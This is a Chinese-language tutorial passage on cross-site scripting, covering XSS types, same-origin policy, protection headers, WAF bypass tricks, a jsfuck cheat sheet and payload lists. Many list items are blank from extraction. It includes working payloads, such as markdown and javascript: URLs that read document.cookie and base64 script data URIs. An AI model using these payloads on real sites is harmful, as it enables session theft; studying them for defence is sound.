WEB安全滲透測試的基礎知識第六部分,小夥伴們快來繼續學習吧~
3.2、分類
XSS全稱為Cross Site Scripting,為了和CSS分開簡寫為XSS,中文名為跨站腳本。該漏洞發生在用戶端,是指在渲染過程中發生了不在預期過程中的JavaScript代碼執行。XSS通常被用於獲取Cookie、以受攻擊者的身份進行操作等行為。
3.2.1.1. 反射型XSS
反射型XSS是比較常見和廣泛的一類,舉例來說,當一個網站的代碼中包含類似下面的語句:hello, $_GET['user']
";?> ,那麼在訪問時設置 /?user=,則可執行預設好的JavaScript代碼。 反射型XSS通常出現在搜索等功能中,需要被攻擊者點擊對應的鏈接才能觸發,且受到XSS Auditor、NoScript等防禦手段的影響較大。
3.2.1.2. 儲存型XSS
儲存型XSS相比反射型來說危害較大,在這種漏洞中,攻擊者能夠把攻擊載荷存入服務器的數據庫中,造成持久化的攻擊。
3.2.1.3. DOM XSS
DOM型XSS不同之處在於DOM型XSS一般和服務器的解析響應沒有直接關係,而是在JavaScript腳本動態執行的過程中產生的。
例如
<title>DOM Based XSS Demo/<title>
輸入 x' onerror='javascript:alert(/xss/) 即可觸發。
3.2.1.4. Blind XSS
Blind XSS是儲存型XSS的一種,它保存在某些存儲中,當一個“受害者”訪問這個頁面時執行,並且在文檔對象模型(DOM)中呈現payload。它被歸類為盲目的原因是因為它通常發生在通常不暴露給用戶的功能上。
3.2.2. 同源策略
3.2.2.1. 簡介
同源策略限制了不同源之間如何進行資源交互,是用於隔離潛在惡意文件的重要安全機制。是否同源由URL決定,URL由協議、域名、端口和路徑組成,如果兩個URL的協議、域名和端口相同,則表示他們同源。
3.2.2.1.1. file域的同源策略
在之前的瀏覽器中,任意兩個file域的URI被認為是同源的。本地磁盤上的任何HTML文件都可以讀取本地磁盤上的任何其他文件。
從Gecko 1.9開始,文件使用了更細緻的同源策略,只有當源文件的父目錄是目標文件的祖先目錄時,文件才能讀取另一個文件。
3.2.2.1.2. cookie的同源策略
cookie使用不同的源定義方式,一個頁面可以為本域和任何父域設置cookie,只要是父域不是公共後綴(public suffix)即可。
不管使用哪個協議(HTTP/HTTPS)或端口號,瀏覽器都允許給定的域以及其任何子域名訪問cookie。設置 cookie時,可以使用 domain / path / secure 和 http-only 標記來限定其訪問性。
所以 https://localhost:8080/ 和 http://localhost:8081/ 的Cookie是共享的。
3.2.2.1.3. Flash/SilverLight跨域
瀏覽器的各種插件也存在跨域需求。通常是通過在服務器配置crossdomain.xml,設置本服務允許哪些域名的跨域訪問。
客戶端會請求此文件,如果發現自己的域名在訪問列表裡,就發起真正的請求,否則不發送請求。
3.2.2.2. 源的更改
同源策略認為域和子域屬於不同的域,例如
child1.a.com 與 a.com / child1.a.com 與 child2.a.com/ xxx.child1.a.com 與 child1.a.com 兩兩不同源。
對於這種情況,可以在兩個方面各自設置 document.damain='a.com' 來改變其源來實現以上任意兩個頁面之間的通信。
另外因為瀏覽器單獨保存端口號,這種賦值會導致端口號被重寫為 null 。
3.2.2.3. 跨源訪問
同源策略控制了不同源之間的交互,這些交互通常分為三類:
● 通常允許跨域寫操作(Cross-origin writes)
鏈接(links)
重定向
表單提交
● 通常允許跨域資源嵌入(Cross-origin embedding)
● 通常不允許跨域讀操作(Cross-origin reads)
可能嵌入跨源的資源的一些示例有:
● 標籤嵌入跨域腳本。語法錯誤信息只能在同源腳本中捕捉到。
● <link> 標籤嵌入CSS。由於CSS的鬆散的語法規則,CSS的跨域需要一個設置正確的Content-Type 消息頭。
● / <video> / <audio> 嵌入多媒體資源。/<audio>/<video>
● <object> <embed> 和 <applet> 的插件。/<applet>/<embed>/<object>
● @font-face 引入的字體。一些瀏覽器允許跨域字體( cross-origin fonts),一些需要同源字體(same-origin fonts)。
● <frame> 和 <iframe> 載入的任何資源。站點可以使用X-Frame-Options消息頭來阻止這種形式的跨域交互。
/<iframe>
3.2.2.3.1. JSONP跨域
JSONP就是利用
●
3.2.5.2. 加載URL
● location=javascript:alert(/xss/)
● location.href=javascript:alert(/xss/)
● location.assign(javascript:alert(/xss/))
● location.replace(javascript:alert(/xss/))
3.2.5.3. 執行HTML
● xx.innerHTML=payload
● xx.outerHTML=payload
● document.write(payload)
● document.writeln(payload)
3.2.6. XSS保護
3.2.6.1. HTML過濾
使用一些白名單或者黑名單來過濾用戶輸入的HTML,以實現過濾的效果。例如DOMPurify等工具都是用該方式實現了XSS的保護。
3.2.6.2. X-Frame
X-Frame-Options 響應頭有三個可選的值:
● DENY
頁面不能被嵌入到任何iframe或frame中
● SAMEORIGIN
頁面只能被本站頁面嵌入到iframe或者frame中
● ALLOW-FROM
頁面允許frame或frame加載
3.2.6.3. XSS保護頭
基於 Webkit 內核的瀏覽器(比如Chrome)有一個名為XSS auditor的防護機制,如果瀏覽器檢測到了含有惡意代碼的輸入被呈現在HTML文檔中,那麼這段呈現的惡意代碼要麼被刪除,要麼被轉義,惡意代碼不會被正常的渲染出來。
而瀏覽器是否要攔截這段惡意代碼取決於瀏覽器的XSS防護設置。
要設置瀏覽器的防護機制,則可使用X-XSS-Protection字段 該字段有三個可選的值
0: 表示關閉瀏覽器的XSS防護機制
1: 刪除檢測到的惡意代碼, 如果響應報文中沒有看到X-XSS-Protection 字段,那麼瀏覽器就認為X-XSS-Protection配置為1,這是瀏覽器的默認設置
1; mode=block: 如果檢測到惡意代碼,在不渲染惡意代碼
FireFox沒有相關的保護機制,如果需要保護,可使用NoScript等相關插件。
3.2.7. WAF Bypass
● 利用<>標記
● 利用html屬性
href
lowsrc
bgsound
background
value
action
dynsrc
● 關鍵字
利用回車拆分
字符串拼接(window["al" + "ert"])
● 利用編碼繞過
base64
jsfuck
String.fromCharCode
HTML
URL
hex(window["\\\\x61\\\\x6c\\\\x65\\\\x72\\\\x74"])
unicode
utf7(+ADw-script+AD4-alert('XSS')+ADsAPA-/script+AD4-)
utf16
● 大小寫混淆
● 對標籤屬性值轉碼
● 產生事件
● css跨站解析
● 長度限制bypass
eval(name)
eval(hash)
import
$.getScript
$.get
● .
使用 。繞過IP/域名
document['cookie'] 繞過屬性取值
● 過濾引號用 “ ` “ 繞過
3.2.8.1. CSS 注入
CSS注入最早開始於利用CSS中的 expression() url() regex() 等函數或特性來引入外部的惡意代碼,但是隨著瀏覽器的發展,這種方式被逐漸禁用,與此同時,出現了一些新的攻擊方式。
3.2.8.1.2. CSS selectors
上圖是利用CSS selectors完成攻擊的一個示例。
3.2.8.1.3. Abusing Unicode Range
當可以插入CSS的時候,可以使用 font-face 配合 unicode-range 獲取目標網頁對應字符集。PoC如下
當字符較多時,則可以結合 ::first-line 等CSS屬性縮小範圍,以獲取更精確的內容。
3.2.8.2. Bypass Via Script Gadgets
3.2.8.2.1. 簡介
一些網站會使用白名單或者一些基於DOM的防禦方式,對這些方式,有一種被稱為 Code Reuse 的攻擊方式可以繞過。該方式和二進制攻防中的Gadget相似,使用目標中的合法代碼來達到繞過防禦措施的目的。在論文 Code-Reuse Attacks for the Web: Breaking Cross-Site Scripting Mitigations via Script Gadgets 中有該方法的具體描述。
portswigger的一篇博文也表達了類似的想法 https://portswigger.net/blog/abusing-javascript-frameworks-to-bypass-xss-mitigations。
下面有一個簡單的例子,這個例子使用了 DOMPurify 來加固,但是因為引入了 jquery.mobile.js 導致可以被攻擊。
3.2.8.2.2. 例子
// index.php
$msg = $_GET['message'];
$msg = str_replace("\\n", "",
$msg); $msg = base64_encode($msg);
?>
<title>Preview/<title>
3.2.8.3. jsfuck cheat sheet
3.2.8.3.1. Basic values
● undefined > [][[]]
● false > ![]
● true > !![]
● NaN > +[![]]
● 0 > +[]
● 1 > +!+[]
● 2 > !+[]+!+[]
3.2.8.3.2. Basic strings
● '' > []+[]
● 'undefined' > []+[][[]]
● 'false' > []+![]
● 'true' > []+!![]
● 'NaN' > []+(+[![]])
● '0' > []+(+[])
● '1' > []+(+!+[])
● '2' > []+(!+[]+!+[])
● '10' > [+!+[]]+[+[]]
● '11' > [+!+[]]+[+!+[]]
● '100' > [+!+[]]+[+[]]+(+[])
3.2.8.3.3. Higher numbers
● 10 > +([+!+[]]+[+[]])
● 11 > +([+!+[]]+[+!+[]])
● 100 > +([+!+[]]+[+[]]+(+[]))
3.2.8.3.4. String alphabet
● 'a' > ([]+![])[+!+[]]
● 'd' > ([]+[][[]])[+!+[]+!+[]]
● 'e' > ([]+!+[])[+!+[]+!+[]+!+[]]
● 'f' > ([]+![])[+[]]
● 'i' > ([]+[][[]])[+!+[]+!+[]+!+[]+!+[]+!+[]]
● 'l' > ([]+![])[+!+[]+!+[]]
● 'n' > ([]+[][[]])[+!+[]]
● 'r' > ([]+!+[])[+!+[]]
● 's' > ([]+![])[+!+[]+!+[]+!+[]]
● 't' > ([]+!+[])[+[]]
● 'u' > ([]+!+[])[+!+[]+!+[]]
3.2.8.4. RPO(Relative Path Overwrite)
RPO(Relative Path Overwrite) 攻擊又稱為相對路徑覆蓋攻擊,依賴於瀏覽器和網絡服務器的反應,利用服務器的 Web 緩存技術和配置差異。
3.2.9. Payload
3.2.9.1. 常用
●
●
●
●
● <marquee>
●
●
● <details>
● <embed>
3.2.9.2. 大小寫繞過
●
●
●
●
●
●
●
●
●
● <marquee>
● <marquee>
● <marquee>
3.2.9.3. 各種alert
●
●
●
●
●
●
●
●
●
●
●
●
●
3.2.9.4. 偽協議
●
●
●
●
3.2.9.5. Chrome XSS auditor bypass
● ?param=https://&[email protected]/import%20rel=import%3E
● <base>
● <base><iframe>
3.2.9.6. 長度限制
\\...
3.2.9.7. jquery sourceMappingURL
3.2.9.8. 圖片名
">.gif
3.2.9.9. 過期的payload
● class="lazy" data-original=javascript:alert基本不可以用
● css expression特性只在舊版本ie可用
3.2.9.10. css
3.2.9.11. markdown
● [a](javascript:prompt(document.cookie))
● [a](j a v a s c r i p t:prompt(document.cookie)) <alert> /<alert>
● ![a'"`onerror=prompt(document.cookie)](x)
● [notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
● [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
● ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
3.2.9.12. iframe
<iframe>
/>
● <iframe>
● <iframe>
● <iframe>
● <iframe>>/<iframe>
● <iframe>
● <iframe>
3.2.9.13. form
●
/<iframe>●
/<button>/<form>閱讀更多 e安教育 的文章